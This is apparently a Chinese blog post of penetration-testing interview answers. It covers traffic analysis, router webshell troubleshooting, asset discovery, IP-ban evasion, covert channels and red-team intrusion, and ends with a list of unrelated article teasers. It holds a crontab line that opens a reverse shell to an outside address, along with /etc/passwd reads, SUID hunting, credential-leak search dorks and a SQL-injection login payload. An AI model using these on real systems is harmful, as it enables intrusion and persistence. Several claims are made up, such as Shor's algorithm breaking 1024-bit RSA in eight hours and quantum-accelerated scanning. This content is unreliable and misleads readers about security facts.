2025年渗透测试面试题总结-某一线实验室实习扩展(题目+回答)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
某一线实验室实习扩展
一、流量分析深度实践
1. FTP反弹定时确认包流量检测
1.1 攻击原理与特征
1.2 分析流程优化
1.3 高级对抗技术
二、红队实战难题突破
2.1 锐捷路由器Webshell反弹失败深度分析
2.1.1 可能原因矩阵
2.1.2 闭环处理流程
三、资产定位与漏洞挖掘
3.1 资产测绘技术演进
3.1.1 引擎特性对比
3.1.2 Google Hacking语法升级
3.2 漏洞快速验证体系
3.2.1 自动化扫描优化
3.2.2 人工验证要点
四、对抗防御与隐蔽渗透
4.1 IP封禁绕过技术
4.1.1 代理网络架构
4.1.2 协议级伪装
4.2 国家HVV隐蔽信道技术
4.2.1 前沿技术应用
4.2.2 经典方案升级
五、红队打点核心技术
5.1 攻击面扩展策略
5.1.1 邮件系统突破
5.1.2 供应链攻击
5.2 后渗透阶段关键技术
5.2.1 横向移动矩阵
5.2.2 数据外传创新
技术演进趋势(2025)
某一线实验室实习扩展
流量分析案例-ftp反弹定时确认包中向外输送流量流量分析中如何确定恶意流量 1、确定事件类型(确定什么攻击事件,如何sql注入与FRP的流量分析步骤不同) 2、确定事件的时间,首先划分一个时间段 3、确定数据流,判断是HTTP、SSL、TCP等 4、分析是内网-》外网 还是外网-》内网 内网-》外网 分析外网IP流量,查看异常行为外网-》内网 这种情况一般是拿下外网服务器作为跳板机,着手分析内网受害服务器 5、确定攻击行为后,再深入分析流量并进行应急响应,去除误报内容 6、数据包大小也是分析条件,分析SSL数据包时需要解密爆破攻击-特征 smb\ssh、MSSQL等协议比较多,看包的大小,成功登录的包很大看ACK,SYN的次数,如果成功至少20次以上,放到科来上为40次以上,但是需要去掉失效包和重传包(注意加密流的ack和syn包也很多,为客户端一次,服务端一次)重传攻击-特征 如果一个数据包非常大,几个G或者一个G,则需要考虑数据包是否进行了重传,然后查看数据包的重传数,如果短时间重传数非常多,就为机器操作,判定为攻击。 7、攻击复现 我们发现一个攻击之后(如平台登录后的sql注入),我们可以流量回溯设备抓取到被登录用户的账户密码,登录平台后利用攻击样本中的payload进行测试,看看是否攻击成功,以此 来决定是否进行防御加固红队实战中遇到的问题 通过exp拿下锐捷路由器的webshell,但是无法反弹解决方案:及时复盘,思考问题所在,进行项目闭环推测可能该站点存在站库分离,只能拿下webshell权限如何快速定位资产fofa 钟馗之眼 撒旦 Google hack 相关注册信息如何在资产中快速确定漏洞扫描器扫过一遍 如果成功patch,就可以准备exp进行攻击fofa等引擎上进行针对性搜索,看目标站点是否存在特定的cmd或oa系统 如果存在特定的cms或者oa系统,则可以进行源码审计or信息收集到exp进行攻击扫描中遇到IP被封禁如何处理IP代理池 5g 是否了解过国家HVV中红队的隐藏流量过防火墙的相关技术呢 打点有什么技巧吗除了收集特定的OA指纹,还会收集资产里的邮件系统,进行信息收集尝试登录邮件系统,搜集各种配置文件,数据库文件登录网站后台
一、流量分析深度实践
1. FTP反弹定时确认包流量检测
1.1 攻击原理与特征
- FTP协议缺陷:PORT/PASV模式存在IP欺骗漏洞,攻击者伪造第三方服务器IP作为数据传输通道
- 定时确认包特征:
- 固定时间间隔(如每5分钟)发送
SYN
包到非标准FTP端口(如6666)- 数据包载荷中包含
220 FTP Server Ready
等伪装响应- 流量识别三要素:
text
1. 会话持续时间异常(超过30分钟) 2. 目标端口非21但协议特征符合FTP 3. 数据包大小规律性波动(心跳包+数据包交替)
1.2 分析流程优化
步骤 技术实现 工具示例 时间筛选 基于BPF过滤 tcp[8:4] > 1617184800
(Unix时间戳)Wireshark 协议解析 深度解析FTP命令序列(STAT/RETR异常调用) Zeek日志 流向判定 统计内网IP主动连接外部IP:高危端口比例 Elasticsearch聚合 1.3 高级对抗技术
- 加密流量混淆:使用SSL/TLS封装FTP流量(
ftps://
),需解密后分析命令序列- 时间随机化:采用泊松分布算法动态调整心跳间隔,规避固定时间检测
二、红队实战难题突破
2.1 锐捷路由器Webshell反弹失败深度分析
2.1.1 可能原因矩阵
类型 检测方法 解决方案 站库分离 检查Web目录与数据库连接IP是否一致 横向渗透数据库服务器 协议过滤 测试ICMP/TCP/UDP协议连通性 切换至DNS/HTTP隧道 权限限制 执行 whoami && cat /etc/passwd
SUID提权(find / -perm -4000) 2.1.2 闭环处理流程
- 现场快照:保存路由表(
route -n
)、进程列表(ps aux
)- 流量镜像:通过SPAN端口捕获管理口流量
- EXP改造:增加协议伪装层(如将TCP流量封装成DNS查询)
- 权限维持:写入crontab定时任务(
*/5 * * * * /bin/sh -i >& /dev/udp/1.1.1.1/53 0>&1
)
三、资产定位与漏洞挖掘
3.1 资产测绘技术演进
3.1.1 引擎特性对比
工具 核心优势 2025年新特性 FOFA 协议指纹库最全 集成AI预测引擎(自动关联CVE) 撒旦 深度关联企业组织架构 支持量子计算加速扫描 Censys IPv6覆盖率达99.8% 实时映射全球BGP路由表 3.1.2 Google Hacking语法升级
text
1. 组件精准定位: intitle:"Apache Tomcat" inurl:/manager/html 2. 敏感文件泄露: filetype:sql "root" AND "PASSWORD" 3. 物联网设备: inurl:/cgi-bin/luci "GL.iNet"
3.2 漏洞快速验证体系
3.2.1 自动化扫描优化
- 指纹碰撞技术:将目标组件与NVD数据库进行版本哈希比对(如
.git/HEAD
)- 沙箱动态分析:在QEMU虚拟环境中执行EXP并监控系统调用
3.2.2 人工验证要点
- 参数污染测试:
http
POST /api/login HTTP/1.1 {"username":"admin'-- ","password":"any"}
- 内存破坏检测:
使用GDB附加进程观察malloc_consolidate
异常
四、对抗防御与隐蔽渗透
4.1 IP封禁绕过技术
4.1.1 代理网络架构
text
用户终端 → Tor网络(3层中继) → CDN边缘节点 → 目标系统
- 5G特性利用:
- 基站切换实现IP快速更换(平均间隔120秒)
- 利用网络切片技术隔离扫描流量
4.1.2 协议级伪装
- HTTP/3 QUIC协议:
利用UDP多路复用特性隐藏扫描特征- WebSocket隧道:
将TCP扫描流量封装成ws://
消息帧4.2 国家HVV隐蔽信道技术
4.2.1 前沿技术应用
技术 实现方式 检测难点 量子隐写 在激光脉冲时间戳中编码数据 需量子密钥分发中心配合 声波通信 利用主板压电效应发射18kHz信号 企业级麦克风阵列可捕获 4.2.2 经典方案升级
- Domain Fronting 2.0:
基于TLS 1.3的SNI字段动态替换(每5分钟更换CDN厂商)- IP白名单伪造:
劫持GEO-IP数据库使流量显示为境内地址
五、红队打点核心技术
5.1 攻击面扩展策略
5.1.1 邮件系统突破
- Exchange漏洞链:
text
CVE-2025-17120(SSRF) → NTLM Relay → DCSync攻击
- 钓鱼邮件增强:
使用GPT-5生成高度仿真的报销通知模板5.1.2 供应链攻击
- npm包投毒:
在node_modules/dashboard-ui
中植入环境检测后门- 固件漏洞利用:
针对Hikvision摄像头/System/configurationFile
未授权下载5.2 后渗透阶段关键技术
5.2.1 横向移动矩阵
协议 工具 检测规避方法 WMI Impacket-wmiexec 修改__EventFilter名称 SSH Ansible-playbook 使用~/.ssh/config别名 5.2.2 数据外传创新
- RFID隐蔽信道:
改造工卡读写器发送二进制数据(速率10bps)- 打印机光编码:
在打印文档中嵌入点阵编码(需高速摄像机解析)
技术演进趋势(2025)
- AI攻防对抗:
- 红队使用扩散模型生成拟真钓鱼网站
- 蓝队应用Transformer模型实时解析百万级日志
- 量子安全威胁:
- Shor算法破解1024位RSA密钥仅需8小时
- 后量子加密算法(CRYSTALS-Kyber)部署率不足15%
- 太空网络攻击:
- 劫持Starlink用户终端作为跳板节点
- 利用卫星信道时延特性绕过地理围栏
相关文章:
2025年渗透测试面试题总结-某一线实验室实习扩展(题目+回答)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。 目录 某一线实验室实习扩展 一、流量分析深度实践 1. FTP反弹定时确认包流量检测 1.1 攻击原理与特征 1.…...
2025大唐杯仿真3——移动性管理
仅仅是1-2之间的信息交互...
云原生与微服务的关系
云原生(Cloud Native)和微服务(Microservices)是现代软件开发和部署中密切相关的两个概念,它们共同推动了应用程序的架构设计、开发模式和运维方式的变革。以下是两者的关系及核心要点: 定义与核心概念 云原…...
【百日精通JAVA | SQL篇 | 第三篇】 MYSQL增删改查
SQL得最核心就是增删改查 一个后端开发,在工作中,最常见的场景就是CRUD。 插入数据 insert into student values (1,zhangsan); 指定列插入数据 同时多个列明之间使用逗号,来分割 insert into student (name) values (zhaoliu); 这个黑框…...
【leetcode】记录与查找:哈希表的题型分析
前言 🌟🌟本期讲解关于力扣的几篇题解的详细介绍~~~ 🌈感兴趣的小伙伴看一看小编主页:GGBondlctrl-CSDN博客 🔥 你的点赞就是小编不断更新的最大动力 🎆那么废话不…...
如何在 Windows 10 上安装 PyGame
PyGame 是 Python 编程语言中的一组跨平台模块,这意味着您可以在任何操作系统上安装它,这篇文章告诉您如何在 Windows 10 上安装 PyGame。 如何在 Windows 10 上安装 PyGame? PyGame 依赖于 Python,这意味着您必须在安装 PyGame …...
LVGL修改标签文本,GUI Guider的ui不生效
一.问题背景 笔者最近在学习LVGL框架,同时准备使用该框架作为课程设计的一部分,于是需要从静态显示进阶到动态显示以及事件交互。一方面由于笔者是初次接触LVGL,对它并不熟悉,另一方面由于其网络上的针对性具体资料太少&a…...
制造装备物联及生产管理ERP系统设计与实现(代码+数据库+LW)
摘 要 传统办法管理信息首先需要花费的时间比较多,其次数据出错率比较高,而且对错误的数据进行更改也比较困难,最后,检索数据费事费力。因此,在计算机上安装制造装备物联及生产管理ERP系统软件来发挥其高效地信息处理…...
PowerPhotos:拯救你的Mac照片库,告别苹果原生应用的局限
如果你用Mac管理照片,大概率被苹果原生「照片」应用折磨过——无法真正并行操作多个图库。每次切换图库都要关闭重启,想合并照片得手动导出导入,重复文件更是无处可逃…… 直到我发现了 PowerPhotos,这款专为Mac设计的照片库管理…...
软件工程面试题(三十)
将ISO8859-1字符串转成GB2312编码,语句为? String snew String(text.getBytes(“iso8859-1”),”gb2312”). 说出你用过的J2EE标准的WEB框架和他们之间的比较? 答:用过的J2EE标准主要有:JSP&Servlet、JDBC、JNDI…...
Java面试黄金宝典35
1. A 和 B 两个表做等值连接 (Inner join) 怎么优化 索引优化:在连接字段上创建索引,让数据库在进行等值连接时,能够快速定位匹配的记录,减少全表扫描的开销。例如,若 A 表和 B 表通过 id 字段进行连接,可在…...
openssl-1.0.1e.tar.gz编译安装步骤
下载与验证 openssl-1.0.1e.tar.gz下载链接:https://pan.quark.cn/s/d682551565e8 校验文件完整性(示例): # 检查 SHA256 哈希值 sha256sum openssl-1.0.1e.tar.gz # 对比官方发布的哈希值(需从 OpenSSL 官网获取&a…...
供应链业务-供应链全局观(二)
概述 我们在供应链业务知识分享的第一篇供应链业务-供应链全局观(一)中大致聊了以下三点: 1、供应链的本质:环环相扣的增值网络。供应链是从供应商的供应商到客户的客户之间,通过采购、生产、运输、仓储、销售等环节…...
在 Flutter 中Navigator.push 用于实现页面之间的导航
在 Flutter 中,Navigator.push 是一个非常重要的方法,用于实现页面之间的导航。通过 Navigator.push,你可以将一个新的页面(路由)推送到导航栈中,从而显示新的内容。 以下是一个详细的教程,帮助…...
安永启用AI驱动SAP云ERP系统
安永(EY)宣布与 SAP 和微软展开战略合作,正式启动将其内部业务系统升级为基于 SAP S/4HANA Cloud 私有版的现代化 ERP 系统,并部署在 Microsoft Azure 云平台上。此次转型不仅涉及系统更新,还将通过引入人工智能&#…...
Augment Code:下一代AI编程助手,能否超越GitHub Copilot?
1. 背景介绍 近日,AI编程助手公司 Augment Code 宣布完成 2.27亿美元B轮融资,估值接近 9.77亿美元,距离独角兽企业仅一步之遥。本轮融资由 Sutter Hill Ventures、Index Ventures、Innovation Endeavors、Lightspeed Venture Partners 和 Me…...
图像处理之《直方图规定化和低失真数据隐藏的可逆对比度增强》论文阅读
全文目录 一、文章摘要二、直方图规定化三、提出的方法A.峰值和零点的选择B.数据序列扩展C. V L D E \mathrm{VLD_E} VLDE: 带有扩展的极低失真D.提出的RCE-HS方案四、实现细节五、汇报PPT一、文章摘要 本文研究可逆对比度增强(RCE)。图像增强是通过直方图规定化实现的,直方…...
状态模式~
状态模式 在软件系统中,有些对象也像水一样具有多种状态,这些状态在某些情况下能够相互转换,而且对象在不同状态下也将具有不同的行为. 状态模式(state pattern)的定义: 允许一个对象在其内部状态改变时改变它的行为。对象看起来似乎修改了它的类。 状态模式就是用于解决系统…...
Latex入门之超详细的Latex环境配置教程
最近在学习Latex,顺便给大家分享一下Latex环境配置的心得。Latex作为一种高质量的排版系统,广泛应用于学术论文、书籍和报告的排版中。对于初学者来说,配置Latex环境可能是个挑战,但只要按照本文的步骤来,其实并不难。…...
[WUSTCTF2020]CV Maker1
进来是个华丽的界面,我们先跟随这个网页创造一个用户 发现了一个上传端口,尝试上传一个php文件并抓包 直接上传进不去,加个GIF89A uploads/d41d8cd98f00b204e9800998ecf8427e.php 传入 并且报告了 上传路径,然后使用蚁剑连接...
第1课:React开发环境搭建与第一个组件
第1课:React开发环境搭建与第一个组件 学习目标 搭建React开发环境创建第一个React项目了解项目基本结构编写并运行第一个React组件 一、环境准备 1. 安装Node.js React开发需要Node.js环境,它包含了npm(Node Package Manager࿰…...
go垃圾回收机制
Go语言的垃圾回收(GC)机制旨在高效管理内存,同时最小化对程序性能的影响。其核心设计结合了并发标记清除、三色标记法和写屏障技术,显著减少了停顿时间(Stop-The-World, STW)。以下是Go垃圾回收机制的关键特…...
【GPT入门】第 34 课:深度剖析 ReAct Agent 工作原理及代码实现
【GPT入门】第 34 课:深度剖析 ReAct Agent 工作原理及代码实现 1. React Agent概述2. React Agent工作原理、关键特点、应用场景3. langchain的ReAct Agent代码实现3.1 Openai1.x 代码实现3.2 Openai 0.x的实现3.3 新旧版API异同比较 1. React Agent概述 定义与基…...
MySQL介绍及使用
1. 安装、启动、配置 MySQL 1. 安装 MySQL 更新软件包索引 sudo apt update 安装 MySQL 服务器 sudo apt install mysql-server 安装过程中可能会提示你设置 root 用户密码。如果没有提示,可以跳过,后续可以手动设置。 2. 配置 MySQL 运行安全脚本…...
九、重学C++—类和函数
上一章节: 八、重学C—动态多态(运行期)-CSDN博客https://blog.csdn.net/weixin_36323170/article/details/147004745?spm1001.2014.3001.5502 本章节代码: cpp/cppClassAndFunc.cpp CuiQingCheng/cppstudy - 码云 - 开源中国…...
C++·包装器
目录 function 包装各种可调用对象 包装类成员函数 应用举例 bind 一般形式 arg_list 调整参数顺序 调整参数个数(绑死) 应用举例 小知识 function 包含在<functional>头文件中,是一个类模版,但本质还是仿函数。…...
Linux动态监控进程利器:top命令详解
动态监控进程利器:top命令详解 在Linux系统的日常管理中,实时监控进程状态和资源使用情况是一项至关重要的任务。top命令作为Linux系统自带的强大工具,以其动态更新的特性,成为了系统管理员和开发者的得力助手。本文将全面解析to…...
家庭路由器wifi设置LAN2LAN和LAN2WAN
一、LAN2LAN 方式:桥接模式,主路由器的LAN口接入子路由器的LAN口 子路由器先重置登录密码(知道密码可以不重置),登录后台 1、设置为动态IP模式 2、找到LAN口设置 1)ip设置和主路由器在一个网段上&#…...
Python实现NOA星雀优化算法优化LightGBM分类模型项目实战
说明:这是一个机器学习实战项目(附带数据代码文档视频讲解),如需数据代码文档视频讲解可以直接到文章最后关注获取。 1.项目背景 在机器学习领域,分类问题是许多实际应用场景的核心任务之一,例如信用评估、…...
面试顺序优化:基于Matlab的高效决策方案
内容摘要 本文围绕面试顺序问题,通过建立数学模型并利用Matlab编程求解,寻找使面试总时长最短的面试顺序安排。详细介绍问题分析、模型构建及Matlab代码实现过程,为类似的时间优化问题提供参考,助力提升流程效率。 关键词&#x…...
【暑期实习之战】2024年美团秋招技术岗第一批笔试(练习)
选择题 6. 在MySQL中可以用来执行预处理语句的是() A execute B prepare C deallocate D using prepare:用于预编译SQL语句(为执行做准备),但并非执行动作本身。execute:专门用于执行已通过 PREPARE 预处理的语句,是运行预编译查询的关键步骤。✔deallocate prepare:…...
VLAN详解
VLAN(虚拟局域网)详解 1. 基本概念 VLAN(Virtual Local Area Network)是一种通过逻辑划分而非物理连接实现的局域网技术,允许在同一物理网络基础设施上创建多个独立的广播域。 2. 核心功能 功能说明广播域隔离不同V…...
[leetcode]1786. 从第一个节点出发到最后一个节点的受限路径数(Dijkstra+记忆化搜索/dp)
题目链接 题意 给定一个无向连通图,edges{u,v,w} 表示 u u u和 v v v之间有一条无向边,边权为 w w w n n n个点 [ 1 , n ] [1,n] [1,n] 每个点到 n n n的最短路为 d i s [ i ] dis[i] dis[i] 定义受限路径: 从起点 1 1 1到 n n n,路径上的…...
Ubuntu挂载HDD迁移存储PostgreSQL数据
关联博客:windows通用网线连接ubuntu实现ssh登录、桌面控制、文件共享 背景: 在个人ubuntu机器上安装了pgsql,新建了一张表插入了2000w数据用于模拟大批量数据分页查询用,但是发现查询也不慢(在公司测试环境查询1700…...
设计模式简述(五)建造者模式
建造者模式 描述基本要素协调类使用 描述 建造者模式属于创造型设计模式。 通常用于构建一系列复杂对象,这些对象有一定的共性。 我们可以通过不同的建造者,组装不同的对象 与工厂模式的区别,建造者模式更侧重与基于基础构件组装而非直接创…...
ARXML文件解析-2
目录 1 摘要2 常见ARXML文件注意事项以及常见问题2.1 注意事项2.2 常见问题2.3 答疑 3 ARXML解读/编辑指南3.1 解读ARXML文件的步骤3.2 编辑ARXML文件的方法3.3 验证与调试 4 总结 1 摘要 本文主要对ARXML文件的注意事项、常见问题以及解读与编辑进行详细介绍。 上文回顾&…...
Docker设置代理
目录 前言创建代理文件重载守护进程并重启Docker检查代理验证 前言 拉取flowable/flowable-ui失败,用DaoCloud源也没拉下来,不知道是不是没同步。索性想用代理拉镜像。在此记录一下。 创建代理文件 创建docker代理配置 sudo mkdir -p /etc/systemd/s…...
ASP.NET Core Web API 参数传递方式
文章目录 前言一、参数传递方式路由参数(Route Parameters)查询字符串参数(Query String Parameters)请求体参数(Request Body)表单数据(Form Data)请求头参数(Header Pa…...
火语言RPA--PgSQL-导入数据表格
【组件功能】:导入特定的表格数据到包含同样字段的数据表 将表格对象数据通过数据库操作对象导入到指定数据库。 配置预览 配置说明 源表格 表格来源有“来自表格对象”和“来自表达式”2种,表达式支持DataTable类型变量。 对象 对应来自表格对象&…...
Spring Cloud 网关及配置管理教学
一、课程目标 深入理解 Spring Cloud 中网关和配置管理的核心概念、原理及应用场景。熟练掌握 Spring Cloud Gateway 的配置与开发,能够实现请求路由、登录校验、用户信息传递等功能。学会使用 Nacos 进行配置管理,包括共享配置、配置热更新和动态路由的…...
202520 | 微服务
微服务 VS 单体架构 单体架构(Monolithic Architecture)和微服务架构(Microservices Architecture)是两种主流的软件设计模式,它们在开发、部署、扩展和维护等方面有显著差异。以下是两者的详细对比: 1. 定…...
32信号和槽_信号和槽存在的意义(2)
① 一个学生,可以选择多门课程来学习 一门课程,也可以被多个同学来选择 ② 张三这个同学,可以选 语文和数学 . 李四这个同学可以选 语文 和 英语 语文这门课程,既可以被张三选择,也可以被李四选择~~ ③ 引入第三张表作为关联表 ④一个信号,可以 connect 到多个槽函数上 一个槽…...
Mac 上使用 mysql -u root -p 命令,出现“zsh: command not found: mysql“?
一、确定 MySQL 安装路径: 如果你是使用 Homebrew 安装的 MySQL,通常安装路径是 /usr/local/mysql/bin 。 如果你是通过官方 DMG 安装包安装的 MySQL,默认安装路径可能是 /usr/local/mysql/bin 。你可以在终端中使用以下命令来查找 MySQL 的…...
Django REST Framework系列教程(9)——过滤与排序
目录 前情回顾 方法一: 重写get_queryset方法 方法二: 使用django-filter 安装django-filter 自定义FilterSet类 方法三: 使用SearchFilter类 自定义SearchFilter类 排序OrderingFilter类 在前面的DRF系列教程中,我们以博客为例介绍了序列化器(Serializer),…...
工业级主题系统程序设计
一、架构优化方案 #mermaid-svg-gB72o6CBc2UMgkrv {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-gB72o6CBc2UMgkrv .error-icon{fill:#552222;}#mermaid-svg-gB72o6CBc2UMgkrv .error-text{fill:#552222;stroke:#5…...
Java 逐梦力扣之旅_[204. 计数质数]
题目: 204. 计数质数 给定整数 n ,返回 所有小于非负整数 n 的质数的数量 。 示例 1: 输入:n 10 输出:4 解释:小于 10 的质数一共有 4 个, 它们是 2, 3, 5, 7 。示例 2: 输入:n 0 输出&…...
[3.3] 阻塞与非阻塞通信 理论+代码
文章目录 1. 阻塞通信的发生和解决2. 点对点通信应用程序案例 - 随机步行(Random Walk) 1. 阻塞通信的发生和解决 MPI的p2p中包括两种模式: a. 阻塞通信(Blocking) MPI_Send 和 MPI_Recv 在返回前,必须满…...
node_modules\deasync: Command failed.
运行:“yarn install” 时报错 PS D:\WebPro\hainan-mini-program> yarn install yarn install v1.22.19 [1/4] Resolving packages... [2/4] Fetching packages... [3/4] Linking dependencies... warning " > babel-loader8.2.2" has un…...
二十种中药果实识别分类系统,Python/resnet18/pytorch
二十种中药果实识别分类系统,Python/resnet18/pytorch 基于pytorch训练, resnet18网络,可用于训练其他分类问题,也可自己重新训练 20类中药材具体包括:(1) 补骨脂,(2) 草豆蔻,(3) 川楝子,(4) 地肤子&…...
C++·异常
目录 概念 使用 异常的抛出和捕获 栈展开 catch匹配 继承体系例子 异常重新抛出 异常安全问题 例: 异常规范 小知识 概念 异常处理机制允许程序中独⽴开发的部分能够在运⾏时就出现的问题进⾏通信并做出相应的处理, 异常使得我们能够将问题的…...